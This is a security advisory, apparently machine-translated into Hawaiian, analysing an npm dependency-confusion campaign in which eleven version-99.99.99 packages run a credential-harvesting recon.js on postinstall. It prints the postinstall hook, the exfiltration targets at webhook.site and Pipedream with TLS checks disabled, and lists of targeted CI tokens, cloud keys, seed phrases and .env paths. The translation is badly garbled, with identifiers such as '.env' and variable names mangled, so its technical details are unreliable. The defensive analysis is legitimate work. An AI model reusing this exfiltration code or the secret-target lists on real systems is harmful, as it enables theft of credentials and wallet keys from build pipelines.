Aku; DR
Ma 2026-06-17, ua paʻi ʻia kahi moʻokāki npm hoʻokahi he ʻumikumamākahi mau pūʻolo e kaʻana like ana i hoʻokahi kumu a me hoʻokahi ukanaHe ʻumi o lākou e hāpai ana i ka cryptodao- hua mua (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ʻo ka ʻumikūmākahi ka laulā @public-for-cdao/coreUa paʻi ʻia kēlā me kēia ma ka mana 99.99.99 a hoʻouna i kahi byte-like recon.js e holo ana ma luna postinstall.
ʻO nā inoa ka mea e hōʻike ai. Heluhelu lākou e like me nā poloka kūkulu kūloko o kahi kaulahao mea hana pilikino o kahi papahana crypto/DAO. Hoʻopuka ʻia i ka papa inoa npm lehulehu ma kahi mana kiʻekiʻe artificial, noho lākou e kali ana i kahi kūkulu pipeline i hoʻonohonoho ʻia e hoʻoponopono i kēlā mau inoa a hiki i ka npm lehulehu ma mua - a i ʻole ma kahi o - ke kāinoa pilikino. ʻO kēia huikau hilinaʻi, a ua hoʻonohonoho ʻia ka ukana no kahi e manaʻo ai e pae: CI/CD ka poʻe kukini.
i ka wa postinstall nā ahi, recon.js hōʻiliʻili i nā kikoʻī o ka mea hoʻokipa, kahili ma kahi kokoke nā loli kaiapuni kapuaʻi he kanahā, CI, a me nā ʻeke crypto, heluhelu i kekahi .env nā faila hiki iā ia ke loaʻa a hoʻouna i nā laina huna-ʻōlelo pololei, a laila hoʻouna i ka pūʻolo i ʻelua mau mea hōʻiliʻili - webhook.site a me kahi hopena Pipedream - me ka hōʻoia palapala hōʻoia TLS i hoʻopau ʻia. Ua kākau ʻia kekahi kope ma lalo o /tmp.
Kaumaha: kiʻekiʻeKaiaolaola i hoʻopilikia ʻia: npmUa ola nā pūʻolo he ʻumikumamākahi i ka wā kākau.
ʻAnoma hoʻouka
ʻEhā ʻāpana neʻe o ka mīkini, a ʻaʻohe o lākou e maalea ke ʻike ʻoe e nānā i hoʻokahi papa ma mua o ka inoa pūʻolo.
1. Ka hoʻonui ʻana o ka mana ma ke ʻano he lure hoʻonā. Hōʻike kēlā me kēia pūʻolo i ka mana 99.99.99Hana ka huikau hilinaʻi i ka wā e noi ai kahi luna hoʻokele pūʻolo no kahi inoa kūloko, nānā pū i ka papa inoa lehulehu a koho i ka mana kiʻekiʻe loa loads. ʻO ke koho paʻamau a npm no kahi caret a i ʻole ka laulā wildcard ʻo ia ka mana ʻoluʻolu loa ma kēlā me kēia kumu i hoʻonohonoho ʻia; inā ʻelua pilikino ʻO ke kākau inoa a me ka pane npm lehulehu no ka inoa like, lanakila ka helu mana nui. A 99.99.99 ʻoi aku ka maikaʻi ma mua o kekahi mana kūloko maoli o kahi papahana hiki aku, no laila makemake kahi mea hoʻonā i hoʻopaʻa ʻole ʻia i ke kumu pilikino i ka lehulehu - a ma kēia hihia, kope ʻenemi. ʻAʻole pono ka mea lawelawe e ʻike i ka nā helu mana maoli o ka pahuhopu; ʻo ke koho ʻana i kahi kiʻekiʻe loa lapuwale e hōʻoiaʻiʻo mau ana i ka paʻa uhaʻi i ko lākou ala.
2. He mea hoʻāla ma hope o ke kau ʻana. pakete.json hoʻopili i ka ukana i ka mea hoʻonoho olaola:
{ "scripts": { "postinstall": "node recon.js" } }ʻAʻole pono ka lawe ʻana mai o ka pūʻolo. Ke hoʻouka wale nei - kahi CI pipeline hana aunoa - holo recon.js.
3. He ʻano huna ākea. recon.js hoʻākoakoa i kahi pūʻulu hopena ma nā pae:
- Pōʻaiapili kikowaena: inoa kikowaena, paepae a me ka hoʻokuʻu ʻana, hoʻolālā, inoa mea hoʻohana, hana papa kuhikuhi.
- Nā loli kaiapuni: hana hou ia i kahi papa inoa paʻa o kahi kanahā mau inoa a me nā moʻolelo nā mea i hoʻonohonoho ʻia. Hōʻike ka papa inoa - hoʻopili ia i nā hōʻailona CI maʻamau (CI_JOB_TOKEN, ʻŌlelo Huna CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) a me ke ao palapala hōʻoia (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) me nā mea huna o ka papa inoa a me ka ipu (NPM_TOKEN, ʻŌlelo Huna_DOCKER, ʻŌlelo Huna_Awa) a me kahi hui crypto-flavored ʻokoʻa: KEY_PILI, MNEMONIC, SEED_PHRASE, KEY_API_INFURA, KEY_API_ALCHEMY, ETH_RPC, BSC_RPCUa hoʻopau ʻia nā waiwai i hoʻopaʻa ʻia i nā huapalapala mua he 50.
- .NS nā faila: nānā ia i kahi papa inoa o nā ala - .NS, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, a me ka .hana/.hoʻomohala nā ʻano like ʻole - a no kekahi faila e kū nei, ia kānana i nā ʻike i nā laina e kūlike ana KĪ|HUNA|TOKEN|PASS|PILI KINO|MNEMONIC a hoʻokuke i kēlā mau laina **piha, ʻoki ʻole ʻia** i loko o nā hualoaʻa.
- Pōʻaiapili kūkulu-host: papa inoa ia i nā komo mua he 20 o /kūkulu/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, a /tmp/.
Ua kaupaona ʻia ka papa inoa ala a me ka papa inoa loli i nā mea holo GitLab, kahi e kuhikuhi ana ka ukana ma ke kikowaena CI i mālama ponoʻī ʻia ma mua o kahi mea hoʻomohala kamepiula lawe lima. ʻO ka hoʻohui ʻana i ka papa inoa ʻohiʻohi ma ka māhele e hoʻomaopopo pono ai i ka lawe ʻana i manaʻo ʻia:
ʻO ka hui crypto ka ʻāpana e hoʻokaʻawale i kēia mai kahi CI-huna maʻamau kahili: ʻike wale ʻia nā huaʻōlelo hua ʻeke kālā a me nā kī kau inoa ma ke kaiapuni o kahi papahana blockchain, a hoʻopili pololei lākou ma luna o ka cryptodao-/hoailona/aelike ka inoa ʻana o nā mea hoʻoili.
4. Hoʻopau ʻia ka exfiltration pālua me ka hōʻoia. ʻO ka pūʻulu i hōʻiliʻili ʻia hoʻopaʻa ʻia a hoʻouna ʻia i ʻelua mau wahi:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })hōʻoleʻAʻole i ʻae ʻia: wahaheʻe hoʻopau i nā hōʻoia palapala hōʻoia TLS no ka outbound nā kāhea. Hoʻopuka ʻia ka ʻikepili like i ka stdout (no laila e pae pū ana ia i loko o nā log hana CI) a i kākau ʻia iā /tmp/.npm_recon_ .jsonUa moni ʻia nā hewa me ka leo ʻole, no laila he ʻAʻole waiho ka hoʻouna ʻana i hāʻule i kahi kaha ma ka hopena hoʻonohonoho ma mua o hoʻokahi [nānā] ua hoʻokomo ʻia ma luna laina.
Ua wehewehe ʻia ia ma kahi manaʻo koʻikoʻi ma ka faila he "Dependency Confusion" "ʻO ka uku hoʻokipa." ʻO ka ʻoki ʻana o nā waiwai kaiapuni i 50 mau huapalapala ke ʻano o kahi hōʻoia o ka manaʻo. ʻO ka mea e hoʻoneʻe iā ia ma mua o kahi beacon alo wale nō ʻo ia ka .NS lawelawe ʻana: ua hoʻouna piha ʻia nā laina huna, a me nā wahi i manaʻo ʻia ʻelua mau mea hōʻiliʻili e hana ana, i kāohi ʻia e ka mea hoʻouka kaua ma mua o kahi poho e helu wale ana kuʻi
'alemanaka
ʻO ke ʻano hoʻopuka ka pūlima o kahi paʻi palapala hoʻokahi, ʻaʻole he ʻumikumamākahi nā hoʻouka kūʻokoʻa.
Ua puka aku he ʻumi mau pūʻolo i loko o kahi puka makani he 29 kekona, ma kahi o hoʻokahi i kēlā me kēia ʻekolu kekona. ʻO ka laulā i hoʻopaʻa ʻia @lehulehu-no-cdao/core ua ukali ʻia ma kahi o 24 mau minuke ma hope - he kekona ka ʻōlelo hoʻohanohano no ka pahuhopu like, inā e kuhikuhi ana ka papahana hoʻopau i ka kaulahao mea hana kūloko ma lalo o kahi laulā ma mua o nā inoa ʻōlohelohe.
Nā hōʻailona o ka ʻaelike
Ka hōʻailona a me ke ʻano i nānā ʻia
ʻO nā mea āpau e pili ana i ka hui e kuhikuhi ana i kekahi lima. Ua paʻi ʻia nā pūʻolo he ʻumikūmākahi e ka moʻokāki npm ʻAduljune (aduljune@proton.me, kahi helu wahi i hōʻoia ʻole ʻia me ka ʻole waihona kumu i hoʻopili ʻia), i loko o kahi manawa 25-minuke, ma ka manawa like 99.99.99 mana, ka hoʻouna ʻana i kahi recon.js nona nā ʻike he byte-no-byte like ma kēlā me kēia pūʻolo (nā kūlike MD5 ma nā kope he ʻumikūmākahi i unuhi ʻia). ʻO ia hoʻokahi ukana ua hoʻopaʻa ʻia ma luna o kahi papa inoa o nā inoa, ʻaʻole ka hoʻohana hou ʻana i ke code kūʻokoʻa.
Hoʻākāka ka papa inoa i ka pahuhopu i manaʻo ʻia. cryptodao-* a cdao wehewehe i ka ka hoʻonohonoho ʻana o ka modula pilikino o kahi papahana crypto/DAO, a me ka papa inoa ʻohi o ka ukana nā aniani e kuhi ana: me ka ʻaoʻao o ka CI maʻamau a me nā mea huna ao, ʻo ia ke kikoʻī hiki aku no KEY_PILI, MNEMONIC, SEED_PHRASE, a me Ethereum/BSC RPC a me nā kī mea hoʻolako. ʻO ka .NS ʻO nā ala huli a me nā papa inoa papa kuhikuhi he GitLab-runner kikoʻī. ʻO ka hopena i ʻike ʻia, ʻo ia kekahi pipeline ua hoʻopunipuni ʻia i ka hoʻokomo ʻana i kēia mau mea e hoʻouna aku nā inoa i kāna mau hōʻailona CI, nā kī ao, a me ka diski ma luna .NS nā mea huna - a, no he papahana blockchain, kāna mea ʻeke kālā - i ʻelua mau mea hōʻiliʻili ʻaoʻao ʻekolu.
ʻAʻole mākou e hoʻopiʻi e pili ana i ka mea nāna e mālama i ka moʻokāki a i ʻole ka mea a lākou i hoʻolālā ai e hana me ka ʻikepili. ʻO nā ʻoiaʻiʻo e kū nei ma kā lākou iho: kuhikuhi nā inoa i kahi ʻano kikoʻī o kaulahao mea hana kūloko, heluhelu ka ukana a hoʻouna i nā waiwai huna maoli, a me ka ua ola ke kahua hana.
Ka hopena, nā ʻano, a me ke alakaʻi a ka mea pale
Ka huikau o ka hilinaʻi ʻana mau ka pono no ka mea hoʻohana ia i ka hana hoʻonā, ʻaʻole i kahi nāwaliwali i loko o kekahi pūʻolo. He mea maʻalahi ka mea lawe ma ʻaneʻi - he ʻumikūmākahi kokoke i ka hakahaka nā pūʻolo - akā ʻo ka radius pahū he mea ia pipeline makemake hewa i ka npm lehulehu no kahi inoa kūloko. ʻO nā mea holo CI kahi ʻino loa no kēlā mea e hana ai: paʻa lākou pololei nā hōʻailona a me .NS nā faila e heluhelu nei kēia ukana, a hoʻokomo lākou nā hilinaʻi ʻaʻole i launa pū, no laila he ma hope o ke kau ʻana holo me ka ʻole o kekahi e nānā mai ana.
Kūpono pū kēia hui i kahi ʻano a mākou e ʻike mau nei: nā ukana manawa hoʻouka e hōʻike ana ma ke ʻano he "noiʻi" a i ʻole "ʻimi" ʻoiai e hana ana i ka hōʻiliʻili palapala hōʻoia maoli. ʻO ka lepili ʻaʻole e hoʻololi i loko o ka faila i ka mea a ke code e hana ai ma kahi mea holo. Mālama ʻelua mau koho hoʻolālā ka hana mālie: ua kāʻei ʻia kēlā me kēia pūnaewele a me ka hana ʻōnaehana faila i loko o kahi mea lawelawe ʻokoʻa e hoʻolei aku i nā hewa, no laila kahi hoʻouna i ālai ʻia a i ʻole kahi faila i nalowale ʻaʻohe hopena diagnostic, a ʻo ka mea wale nō i paʻi ʻia he mea ʻino ʻole hoʻokahi [recon] … i hoʻokomo ʻia laina e hui pū ana me ke kamaʻilio hoʻonohonoho maʻamau. ʻO ka hoʻohana ʻana o pūnaewele.webhook a ʻo Pipedream hoʻi he mea maʻalahi i manaʻo ʻia - ua manuahi nā mea ʻelua, hoʻolako koke ʻia nā lawelawe hopu noi, no laila ʻaʻole pono ka mea hoʻohana i nā kikowaena o ʻo kā lākou iho a ua like nā wahi e hele aku ai me nā inoa kikowaena SaaS maʻamau i nā log egress.
ʻO ka hoʻokele waiwai ka mea e pono ai kēia i ka nānā ʻana o ka mea pale ʻoiai ʻo ka he mea maʻalahi ke code lawe. ʻAʻohe uku o ke kākau inoa ʻana i nā inoa he ʻumikūmākahi, hoʻokahi ka ukana kope ʻia ka faila he ʻumikumamākahi manawa, a hana ka luna hoʻokele pūʻolo i ka hoʻokō āpau. Hoʻokahi hoʻonohonoho hewa ʻia pipeline ma nā wahi a pau e hoʻopau ana i kekahi o kēia mau inoa e uku no ka holoʻokoʻa hana.
Nā hana paʻa no nā mea pale:
- E hoʻopaʻa i nā ʻāpana kūloko i kāu papa inoa pilikino. E hoʻonohonoho i ka npm no laila e hana i nā inoa kūloko
a hoʻoholo wale nā scopes e kūʻē i kāu papa inoa (scoped .npmrc registry mappings, a i ʻole kahi proxy ʻaʻole loa e hāʻule i ka npm lehulehu no nā inoa inoa nona). E mālama i kāu mau inoa ākea lehulehu i ʻole e hiki i kekahi ke hoʻopaʻa inoa iā lākou.
- Commit lockfiles a hoʻouka me –ignore-scripts ma CI kahi hiki, a i ʻole e nānā i ka hoʻonohonoho liʻiliʻi o nā mea hilinaʻi e pono maoli ai nā script hoʻouka. ʻAʻole hiki ke holo ʻo recon.js inā ma hope o ke kau ʻana ʻaʻole i hoʻokō ʻia.
- E mālama i kahi mana 99.99.99 (a i ʻole kekahi mana kiʻekiʻe ʻē aʻe) o kahi inoa e nānā ana i loko ma ke ʻano he hae ʻulaʻula ma ka loiloi hilinaʻi a me ka nānā ʻana i ke kākau inoa.
- Hoʻomaopopo i ka puka ʻana i waho i ka manawa hoʻouka. A ma hope o ke kau ʻana e wehe ana i kahi HTTPS i waho pili - ʻoi aku hoʻi me ka hōʻoia palapala hōʻoia i hoʻopau ʻia - i ʻO webhook.site, Pipedream, a i ʻole nā lawelawe noi-hopu like e kūpono ke ālai ʻia ma ka lihi pūnaewele a hōʻailona ʻia i nā log kūkulu.
- E ʻimi i nā mea hana lima. E nānā i nā mea holo no /tmp/.npm_recon_*.json a no na [recon] … i hoʻokomo ʻia ma … māka i nā log CI hou. Inā loaʻa, e hoʻohuli i kēlā me kēia palapala hōʻoia i hōʻike ʻia i kēlā pipeline — Nā hōʻailona CI, nā kī ao, nā hōʻailona hoʻopaʻa inoa, a me nā hua ʻeke kālā a i ʻole nā kī pilikino i loaʻa i loko o ke kaiapuni a i ʻole nā faila .env.
E hoʻomaopopo '
ʻAʻohe hōʻike kūwaho e pili ana i kēia hui i ka wā kākau; ka loiloi ua kau pololei ʻia ma luna ma luna o nā ʻike o ka pūʻolo i paʻi ʻia
